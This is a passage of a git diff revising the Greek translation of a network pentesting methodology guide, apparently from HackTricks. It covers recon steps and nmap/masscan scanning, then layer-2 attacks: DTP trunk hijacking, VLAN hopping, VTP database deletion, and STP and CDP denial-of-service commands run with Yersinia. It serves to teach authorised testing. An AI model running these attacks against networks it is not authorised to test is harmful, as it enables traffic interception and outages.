_Σημειώστε ότι τα εργαλεία που αναμένουν να ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html) -Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **ιστοσελίδες εφαρμογών**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html). +Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web εφαρμογές**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html). -Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν θα πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.** +Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες web.** ## Ανακεφαλαίωση @@ -604,12 +604,12 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να Έτσι έχετε ήδη: -1. Βρει όλους τους **εταιρείες** μέσα στο πεδίο +1. Βρει όλες τις **εταιρείες** μέσα στο πεδίο 2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο) -3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες -4. Βρει όλους τους **υποτομείς** των τομέων (κάποια υποτομέα takeover;) -5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο. -6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;) +3. Βρει όλα τα **domains** που ανήκουν στις εταιρείες +4. Βρει όλα τα **subdomains** των domains (υπάρχει κάποια ανάληψη subdomain;) +5. Βρει όλες τις **IPs** (από και **όχι από CDNs**) μέσα στο πεδίο. +6. Βρει όλους τους **web servers** και πήρε ένα **στιγμιότυπο** από αυτούς (υπάρχει κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;) 7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία. 8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**. 9. **Pentesting όλων των ιστοσελίδων που βρήκατε** diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index aaa4aaa58..00fd1c952 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ``` ### TCP Port Discovery -Είναι πολύ συνηθισμένο να διαπιστώνουμε ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Έτσι, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας υπολογιστής είναι ενεργός είναι να **προσπαθήσετε να βρείτε ανοιχτές θύρες**. Κάθε υπολογιστής έχει **65535 θύρες**, οπότε, αν έχετε ένα "μεγάλο" πεδίο, **δεν μπορείτε** να ελέγξετε αν **κάθε θύρα** κάθε υπολογιστή είναι ανοιχτή ή όχι, αυτό θα πάρει πολύ χρόνο.\ +Είναι πολύ συνηθισμένο να διαπιστώνεται ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Έτσι, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας υπολογιστής είναι ενεργός είναι να **προσπαθήσετε να βρείτε ανοιχτές θύρες**. Κάθε υπολογιστής έχει **65535 θύρες**, οπότε, αν έχετε ένα "μεγάλο" πεδίο, **δεν μπορείτε** να ελέγξετε αν **κάθε θύρα** κάθε υπολογιστή είναι ανοιχτή ή όχι, αυτό θα πάρει πολύ χρόνο.\ Έτσι, αυτό που χρειάζεστε είναι ένας **γρήγορος σαρωτής θύρας** ([masscan](https://github.com/robertdavidgraham/masscan)) και μια λίστα με τις **πιο χρησιμοποιούμενες θύρες:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) @@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` ### UDP Port Discovery -Μπορείτε επίσης να προσπαθήσετε να ελέγξετε αν κάποια **UDP port είναι ανοιχτή** για να αποφασίσετε αν θα **δώσετε περισσότερη προσοχή** σε έναν **host.** Δεδομένου ότι οι υπηρεσίες UDP συνήθως **δεν απαντούν** με **κανένα δεδομένο** σε ένα κανονικό κενό πακέτο UDP probe, είναι δύσκολο να πούμε αν μια θύρα φιλτράρεται ή είναι ανοιχτή. Ο ευκολότερος τρόπος για να το αποφασίσετε είναι να στείλετε ένα πακέτο σχετικό με την τρέχουσα υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή με βάση τον αριθμό της θύρας: +Μπορείτε επίσης να προσπαθήσετε να ελέγξετε αν κάποια **UDP θύρα είναι ανοιχτή** για να αποφασίσετε αν θα **δώσετε περισσότερη προσοχή** σε έναν **φιλοξενούμενο.** Δεδομένου ότι οι υπηρεσίες UDP συνήθως **δεν απαντούν** με **κανένα δεδομένο** σε ένα κανονικό κενό πακέτο UDP, είναι δύσκολο να πούμε αν μια θύρα φιλτράρεται ή είναι ανοιχτή. Ο ευκολότερος τρόπος για να το αποφασίσετε είναι να στείλετε ένα πακέτο σχετικό με την τρέχουσα υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή με βάση τον αριθμό της θύρας: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` -Η γραμμή nmap που προτάθηκε προηγουμένως θα δοκιμάσει τις **1000 κορυφαίες θύρες UDP** σε κάθε υπολογιστή μέσα στην **/24** περιοχή, αλλά ακόμη και μόνο αυτό θα πάρει **>20min**. Αν χρειάζεστε **ταχύτερα αποτελέσματα**, μπορείτε να χρησιμοποιήσετε [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Αυτό θα στείλει αυτές τις **UDP probes** στην **αναμενόμενη θύρα** τους (για μια περιοχή /24 αυτό θα πάρει μόνο 1 λεπτό): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +Η γραμμή nmap που προτάθηκε προηγουμένως θα δοκιμάσει τις **1000 κορυφαίες θύρες UDP** σε κάθε υπολογιστή μέσα στην **/24** περιοχή, αλλά ακόμη και μόνο αυτό θα πάρει **>20min**. Αν χρειάζεστε **ταχύτερα αποτελέσματα**, μπορείτε να χρησιμοποιήσετε το [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Αυτό θα στείλει αυτές τις **UDP probes** στην **αναμενόμενη θύρα** τους (για μια περιοχή /24 αυτό θα πάρει μόνο 1 λεπτό): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### SCTP Port Discovery ```bash @@ -60,7 +60,7 @@ nmap -T4 -sY -n --open -Pn ## Discovering hosts from the inside -Αν βρίσκεστε μέσα στο δίκτυο, ένα από τα πρώτα πράγματα που θα θέλετε να κάνετε είναι να **ανακαλύψετε άλλους hosts**. Ανάλογα με **πόσο θόρυβο** μπορείτε/θέλετε να κάνετε, μπορούν να εκτελούνται διαφορετικές ενέργειες: +Αν είστε μέσα στο δίκτυο, ένα από τα πρώτα πράγματα που θα θέλετε να κάνετε είναι να **ανακαλύψετε άλλους hosts**. Ανάλογα με **πόσο θόρυβο** μπορείτε/θέλετε να κάνετε, μπορούν να εκτελούνται διαφορετικές ενέργειες: ### Passive @@ -75,7 +75,7 @@ set net.show.meta true #more info ``` ### Ενεργό -Σημειώστε ότι οι τεχνικές που σχολιάστηκαν στο [_**Ανακαλύπτοντας hosts από έξω**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) μπορούν επίσης να **εφαρμοστούν εδώ**.\ +Σημειώστε ότι οι τεχνικές που σχολιάζονται στο [_**Ανακαλύπτοντας hosts από έξω**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) μπορούν επίσης να **εφαρμοστούν εδώ**.\ Αλλά, καθώς βρίσκεστε στο **ίδιο δίκτυο** με τους άλλους hosts, μπορείτε να κάνετε **περισσότερα πράγματα**: ```bash #ARP discovery @@ -102,7 +102,7 @@ alive6 # Send a pingv6 to multicast. Αλλά, καθώς βρίσκεστε στο **ίδιο δίκτυο** με τους άλλους hosts, μπορείτε να κάνετε **περισσότερα πράγματα**: - Αν **ping** ένα **subnet broadcast address**, το ping θα πρέπει να φτάσει σε **κάθε host** και αυτοί θα μπορούσαν να **απαντήσουν** σε **εσάς**: `ping -b 10.10.5.255` -- Κάνοντας ping στο **network broadcast address**, θα μπορούσατε ακόμη να βρείτε hosts μέσα σε **άλλα subnets**: `ping -b 255.255.255.255` +- Κάνοντας ping στο **network broadcast address** θα μπορούσατε ακόμη να βρείτε hosts μέσα σε **άλλα subnets**: `ping -b 255.255.255.255` - Χρησιμοποιήστε τις σημαίες `-PE`, `-PP`, `-PM` του `nmap` για να εκτελέσετε ανακάλυψη hosts στέλνοντας αντίστοιχα **ICMPv4 echo**, **timestamp**, και **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** @@ -123,7 +123,7 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 - **Ανοιχτή** θύρα: _SYN --> SYN/ACK --> RST_ - **Κλειστή** θύρα: _SYN --> RST/ACK_ -- **Φιλτραρισμένη** θύρα: _SYN --> \[ΧΩΡΙΣ ΑΠΑΝΤΗΣΗ]_ +- **Φιλτραρισμένη** θύρα: _SYN --> \[NO RESPONSE]_ - **Φιλτραρισμένη** θύρα: _SYN --> ICMP μήνυμα_ ```bash # Nmap fast scan for the most 1000tcp ports used @@ -143,7 +143,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 - Στείλτε ένα **UDP packet** και ελέγξτε για την απάντηση _**ICMP unreachable**_ αν η θύρα είναι **κλειστή** (σε πολλές περιπτώσεις το ICMP θα είναι **φιλτραρισμένο** οπότε δεν θα λάβετε καμία πληροφορία αν η θύρα είναι κλειστή ή ανοιχτή). - Στείλτε **formatted datagrams** για να προκαλέσετε μια απάντηση από μια **υπηρεσία** (π.χ., DNS, DHCP, TFTP και άλλες, όπως αναφέρονται στο _nmap-payloads_). Αν λάβετε μια **απάντηση**, τότε η θύρα είναι **ανοιχτή**. -**Nmap** θα **συνδυάσει και τις δύο** επιλογές χρησιμοποιώντας "-sV" (οι σαρώσεις UDP είναι πολύ αργές), αλλά σημειώστε ότι οι σαρώσεις UDP είναι πιο αργές από τις σαρώσεις TCP: +**Nmap** θα **συνδυάσει και τις δύο** επιλογές χρησιμοποιώντας "-sV" (οι σαρώσεις UDP είναι πολύ αργές), αλλά προσέξτε ότι οι σαρώσεις UDP είναι πιο αργές από τις σαρώσεις TCP: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -170,19 +170,21 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` ### IDS και IPS αποφυγή + {{#ref}} ids-evasion.md {{#endref}} ### **Περισσότερες επιλογές nmap** + {{#ref}} nmap-summary-esp.md {{#endref}} ### Αποκάλυψη Εσωτερικών Διευθύνσεων IP -**Κακώς ρυθμισμένοι δρομολογητές, τείχη προστασίας και συσκευές δικτύου** μερικές φορές απαντούν σε δίκτυα probes χρησιμοποιώντας **μη δημόσιες διευθύνσεις προέλευσης**. **tcpdump** μπορεί να χρησιμοποιηθεί για να εντοπίσει πακέτα που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια της δοκιμής. Συγκεκριμένα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη **διεύθυνση eth2**, η οποία είναι προσβάσιμη από το δημόσιο Διαδίκτυο. Είναι σημαντικό να σημειωθεί ότι αν η ρύθμισή σας είναι πίσω από NAT ή τείχος προστασίας, τέτοια πακέτα είναι πιθανό να φιλτράρονται. +**Κακώς ρυθμισμένοι δρομολογητές, τείχη προστασίας και συσκευές δικτύου** μερικές φορές απαντούν σε δίκτυα χρησιμοποιώντας **μη δημόσιες διευθύνσεις προέλευσης**. **tcpdump** μπορεί να χρησιμοποιηθεί για να εντοπίσει πακέτα που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια της δοκιμής. Συγκεκριμένα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη **διεύθυνση eth2**, η οποία είναι προσβάσιμη από το δημόσιο Διαδίκτυο. Είναι σημαντικό να σημειωθεί ότι αν η ρύθμισή σας είναι πίσω από NAT ή τείχος προστασίας, τέτοια πακέτα είναι πιθανό να φιλτράρονται. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -192,9 +194,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` ## Sniffing -Με το Sniffing μπορείτε να μάθετε λεπτομέρειες σχετικά με τις διευθύνσεις IP, τα μεγέθη υποδικτύων, τις διευθύνσεις MAC και τα ονόματα υπολογιστών αναθεωρώντας τα κατεχόμενα πλαίσια και πακέτα. Εάν το δίκτυο είναι κακώς διαμορφωμένο ή το switching fabric είναι υπό πίεση, οι επιτιθέμενοι μπορούν να συλλάβουν ευαίσθητο υλικό μέσω παθητικού network sniffing. +Με το Sniffing μπορείτε να μάθετε λεπτομέρειες σχετικά με τις περιοχές IP, τα μεγέθη υποδικτύων, τις διευθύνσεις MAC και τα ονόματα υπολογιστών αναθεωρώντας τα κατεχόμενα πλαίσια και πακέτα. Εάν το δίκτυο είναι κακώς διαμορφωμένο ή το switching fabric είναι υπό πίεση, οι επιτιθέμενοι μπορούν να συλλάβουν ευαίσθητο υλικό μέσω παθητικού network sniffing. -Εάν ένα δίκτυο Ethernet με διακόπτες είναι σωστά διαμορφωμένο, θα δείτε μόνο broadcast frames και υλικό που προορίζεται για τη διεύθυνση MAC σας. +Εάν ένα switched Ethernet δίκτυο είναι σωστά διαμορφωμένο, θα βλέπετε μόνο broadcast frames και υλικό που προορίζεται για τη διεύθυνση MAC σας. ### TCPDump ```bash @@ -256,11 +258,11 @@ macof -i #### Δυναμική Τρούκ -Το **Dynamic Trunking Protocol (DTP)** έχει σχεδιαστεί ως πρωτόκολλο επιπέδου σύνδεσης για να διευκολύνει ένα αυτόματο σύστημα τρούκ, επιτρέποντας στους διακόπτες να επιλέγουν αυτόματα θύρες για λειτουργία τρούκ (Trunk) ή μη τρούκ. Η ανάπτυξη του **DTP** συχνά θεωρείται ένδειξη υποβέλτιστης σχεδίασης δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης ρύθμισης των τρούκ μόνο όπου είναι απαραίτητο και της διασφάλισης σωστής τεκμηρίωσης. +Το **Dynamic Trunking Protocol (DTP)** έχει σχεδιαστεί ως πρωτόκολλο επιπέδου σύνδεσης για να διευκολύνει ένα αυτόματο σύστημα τρούκ, επιτρέποντας στους διακόπτες να επιλέγουν αυτόματα θύρες για λειτουργία τρούκ (Trunk) ή μη τρούκ. Η ανάπτυξη του **DTP** συχνά θεωρείται ένδειξη υποβέλτιστης σχεδίασης δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης ρύθμισης των τρούκ μόνο όπου είναι απαραίτητο και της διασφάλισης κατάλληλης τεκμηρίωσης. -Από προεπιλογή, οι θύρες του διακόπτη είναι ρυθμισμένες να λειτουργούν σε λειτουργία Dynamic Auto, που σημαίνει ότι είναι έτοιμες να ξεκινήσουν τρούκ αν ζητηθεί από έναν γειτονικό διακόπτη. Ένα ζήτημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται στον διακόπτη και στέλνει ένα DTP Desirable frame, αναγκάζοντας τη θύρα να εισέλθει σε λειτουργία τρούκ. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης STP frame και να παρακάμψει τον κατακερματισμό VLAN δημιουργώντας εικονικές διεπαφές. +Από προεπιλογή, οι θύρες του διακόπτη είναι ρυθμισμένες να λειτουργούν σε Δυναμική Αυτόματη λειτουργία, που σημαίνει ότι είναι έτοιμες να ξεκινήσουν τρούκ αν ζητηθεί από έναν γειτονικό διακόπτη. Ένα ζήτημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται στον διακόπτη και στέλνει ένα DTP Desirable frame, αναγκάζοντας τη θύρα να εισέλθει σε λειτουργία τρούκ. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης πλαισίων STP και να παρακάμψει τον κατακερματισμό VLAN δημιουργώντας εικονικές διεπαφές. -Η παρουσία του DTP σε πολλούς διακόπτες από προεπιλογή μπορεί να εκμεταλλευτεί από αντιπάλους για να μιμηθούν τη συμπεριφορά ενός διακόπτη, αποκτώντας έτσι πρόσβαση στην κίνηση σε όλα τα VLAN. Το σενάριο [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας αν ένας διακόπτης είναι σε λειτουργία Default, Trunk, Dynamic, Auto ή Access—η τελευταία είναι η μόνη ρύθμιση που είναι ανθεκτική σε επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την κατάσταση ευπάθειας του διακόπτη. +Η παρουσία του DTP σε πολλούς διακόπτες από προεπιλογή μπορεί να εκμεταλλευτεί από αντιπάλους για να μιμηθούν τη συμπεριφορά ενός διακόπτη, αποκτώντας έτσι πρόσβαση στην κυκλοφορία σε όλα τα VLAN. Το σενάριο [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας αν ένας διακόπτης είναι σε Λειτουργία Προεπιλογής, Τρούκ, Δυναμική, Αυτόματη ή Πρόσβαση—η τελευταία είναι η μόνη ρύθμιση που είναι ανθεκτική σε επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την κατάσταση ευπάθειας του διακόπτη. Εάν εντοπιστεί ευπάθεια δικτύου, το εργαλείο _**Yersinia**_ μπορεί να χρησιμοποιηθεί για να "ενεργοποιήσει το τρούκ" μέσω του πρωτοκόλλου DTP, επιτρέποντας την παρακολούθηση πακέτων από όλα τα VLAN. ```bash @@ -288,7 +290,7 @@ sudo python3 DTPHijacking.py --interface eth0 #### Επίθεση σε συγκεκριμένα VLANs Μόλις γνωρίζετε τις τιμές VLAN IDs και IPs, μπορείτε να **ρυθμίσετε μια εικονική διεπαφή για να επιτεθείτε σε ένα συγκεκριμένο VLAN**.\ -Εάν το DHCP δεν είναι διαθέσιμο, τότε χρησιμοποιήστε το _ifconfig_ για να ορίσετε μια στατική διεύθυνση IP. +Εάν το DHCP δεν είναι διαθέσιμο, τότε χρησιμοποιήστε _ifconfig_ για να ορίσετε μια στατική διεύθυνση IP. ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -350,18 +352,18 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -Σε ορισμένα περιβάλλοντα, όπως τα δίκτυα ασύρματης πρόσβασης για επισκέπτες, εφαρμόζονται ρυθμίσεις **απομόνωσης θυρών (γνωστές και ως private VLAN)** για να αποτραπεί η άμεση επικοινωνία των πελατών που είναι συνδεδεμένοι σε ένα ασύρματο σημείο πρόσβασης. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη ACL δικτύου είτε την εσφαλμένη τους ρύθμιση, επιτρέποντας στα πακέτα IP να δρομολογούνται μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο. +Σε ορισμένα περιβάλλοντα, όπως τα δίκτυα ασύρματης πρόσβασης για επισκέπτες, εφαρμόζονται ρυθμίσεις **απομόνωσης θυρών (γνωστές και ως ιδιωτικά VLAN)** για να αποτρέψουν τους πελάτες που είναι συνδεδεμένοι σε ένα ασύρματο σημείο πρόσβασης από το να επικοινωνούν άμεσα μεταξύ τους. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη ACL δικτύου είτε την εσφαλμένη τους ρύθμιση, επιτρέποντας στα πακέτα IP να δρομολογούνται μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο. -Η επίθεση εκτελείται δημιουργώντας ένα **πακέτο που φέρει τη διεύθυνση IP του πελάτη προορισμού αλλά με τη MAC διεύθυνση του δρομολογητή**. Αυτό προκαλεί στον δρομολογητή να προωθήσει λανθασμένα το πακέτο στον στοχευμένο πελάτη. Αυτή η προσέγγιση είναι παρόμοια με αυτή που χρησιμοποιείται στις επιθέσεις Double Tagging, όπου η ικανότητα ελέγχου ενός host προσβάσιμου από το θύμα χρησιμοποιείται για να εκμεταλλευτεί την ασφάλεια. +Η επίθεση εκτελείται δημιουργώντας ένα **πακέτο που φέρει τη διεύθυνση IP του προορισμού πελάτη αλλά με τη MAC διεύθυνση του δρομολογητή**. Αυτό προκαλεί στον δρομολογητή να προωθήσει λανθασμένα το πακέτο στον στοχευμένο πελάτη. Αυτή η προσέγγιση είναι παρόμοια με αυτή που χρησιμοποιείται στις επιθέσεις Double Tagging, όπου η ικανότητα ελέγχου ενός host προσβάσιμου από το θύμα χρησιμοποιείται για να εκμεταλλευτεί την ασφάλεια. **Βασικά Βήματα της Επίθεσης:** 1. **Δημιουργία Πακέτου:** Ένα πακέτο δημιουργείται ειδικά για να περιλαμβάνει τη διεύθυνση IP του στοχευμένου πελάτη αλλά με τη MAC διεύθυνση του δρομολογητή. -2. **Εκμετάλλευση Συμπεριφοράς Δρομολογητή:** Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον στοχευμένο πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις private VLAN. +2. **Εκμετάλλευση Συμπεριφοράς Δρομολογητή:** Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον στοχευμένο πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις ιδιωτικού VLAN. ### VTP Attacks -Το VTP (VLAN Trunking Protocol) κεντρικοποιεί τη διαχείριση VLAN. Χρησιμοποιεί αριθμούς αναθεώρησης για να διατηρεί την ακεραιότητα της βάσης δεδομένων VLAN. Οποιαδήποτε τροποποίηση αυξάνει αυτόν τον αριθμό. Οι διακόπτες υιοθετούν ρυθμίσεις με υψηλότερους αριθμούς αναθεώρησης, ενημερώνοντας τις δικές τους βάσεις δεδομένων VLAN. +Το VTP (VLAN Trunking Protocol) κεντρικοποιεί τη διαχείριση VLAN. Χρησιμοποιεί αριθμούς αναθεώρησης για να διατηρεί την ακεραιότητα της βάσης δεδομένων VLAN; οποιαδήποτε τροποποίηση αυξάνει αυτόν τον αριθμό. Οι διακόπτες υιοθετούν ρυθμίσεις με υψηλότερους αριθμούς αναθεώρησης, ενημερώνοντας τις δικές τους βάσεις δεδομένων VLAN. #### VTP Domain Roles @@ -372,7 +374,7 @@ lateral-vlan-segmentation-bypass.md #### VTP Advertisement Types - **Summary Advertisement:** Διαδίδεται από τον VTP server κάθε 300 δευτερόλεπτα, μεταφέροντας βασικές πληροφορίες τομέα. -- **Subset Advertisement:** Αποστέλλεται μετά από αλλαγές στη ρύθμιση VLAN. +- **Subset Advertisement:** Αποστέλλεται μετά από αλλαγές ρυθμίσεων VLAN. - **Advertisement Request:** Εκδίδεται από έναν VTP client για να ζητήσει μια Summary Advertisement, συνήθως ως απάντηση στην ανίχνευση υψηλότερου αριθμού αναθεώρησης ρύθμισης. Οι ευπάθειες VTP είναι εκμεταλλεύσιμες αποκλειστικά μέσω θυρών trunk καθώς οι ανακοινώσεις VTP κυκλοφορούν μόνο μέσω αυτών. Μετά από σενάρια επίθεσης DTP, μπορεί να στραφούν προς το VTP. Εργαλεία όπως το Yersinia μπορούν να διευκολύνουν επιθέσεις VTP, στοχεύοντας να διαγράψουν τη βάση δεδομένων VLAN, διαταράσσοντας αποτελεσματικά το δίκτυο. @@ -383,13 +385,13 @@ lateral-vlan-segmentation-bypass.md ```` Στη γραφική λειτουργία του Yersinia, επιλέξτε την επιλογή διαγραφής όλων των VTP vlans για να καθαρίσετε τη βάση δεδομένων VLAN. -### Επιθέσεις STP +### STP Επιθέσεις **Εάν δεν μπορείτε να συλλάβετε τα πακέτα BPDU στις διεπαφές σας, είναι απίθανο να πετύχετε σε μια επίθεση STP.** #### **STP BPDU DoS** -Αποστέλλοντας πολλά BPDUs TCP (Topology Change Notification) ή Conf (τα BPDUs που αποστέλλονται όταν δημιουργείται η τοπολογία), οι διακόπτες υπερφορτώνονται και σταματούν να λειτουργούν σωστά. +Αποστέλλοντας πολλά BPDUs TCP (Ειδοποίηση Αλλαγής Τοπολογίας) ή Conf (τα BPDUs που αποστέλλονται όταν δημιουργείται η τοπολογία), οι διακόπτες υπερφορτώνονται και σταματούν να λειτουργούν σωστά. ```bash yersinia stp -attack 2 yersinia stp -attack 3 @@ -397,7 +399,7 @@ yersinia stp -attack 3 ``` #### **STP TCP Attack** -Όταν αποστέλλεται ένα TCP, ο πίνακας CAM των διακοπτών θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, αν στέλνετε συνεχώς αυτού του είδους τα πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (ή κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, ο διακόπτης συμπ behaves ως hub. +Όταν αποστέλλεται ένα TCP, ο πίνακας CAM των διακοπτών θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, αν στέλνετε συνεχώς αυτού του είδους τα πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (ή κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, ο διακόπτης συμπεριφέρεται ως κόμβος. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen @@ -405,7 +407,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen #### **STP Root Attack** Ο επιτιθέμενος προσομοιώνει τη συμπεριφορά ενός διακόπτη για να γίνει ο STP root του δικτύου. Στη συνέχεια, περισσότερα δεδομένα θα περάσουν μέσω αυτού. Αυτό είναι ενδιαφέρον όταν είστε συνδεδεμένοι σε δύο διαφορετικούς διακόπτες.\ -Αυτό γίνεται στέλνοντας πακέτα BPDUs CONF που δηλώνουν ότι η τιμή **priority** είναι μικρότερη από την πραγματική προτεραιότητα του πραγματικού διακόπτη root. +Αυτό γίνεται στέλνοντας πακέτα BPDUs CONF που λένε ότι η τιμή **priority** είναι μικρότερη από την πραγματική προτεραιότητα του πραγματικού διακόπτη root. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root @@ -431,9 +433,9 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de # Alternatively, for a GUI approach: sudo yersinia -G ``` -Κατά τη διάρκεια αυτής της επίθεσης, η CPU του switch και ο πίνακας γειτόνων CDP επιβαρύνονται σημαντικά, οδηγώντας σε αυτό που συχνά αναφέρεται ως **“παράλυση δικτύου”** λόγω της υπερβολικής κατανάλωσης πόρων. +Κατά τη διάρκεια αυτής της επίθεσης, η CPU του switch και ο πίνακας γειτόνων CDP επιβαρύνονται σοβαρά, οδηγώντας σε αυτό που συχνά αναφέρεται ως **“παράλυση δικτύου”** λόγω της υπερβολικής κατανάλωσης πόρων. -#### Επίθεση Υποκλοπής CDP +#### CDP Impersonation Attack ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP 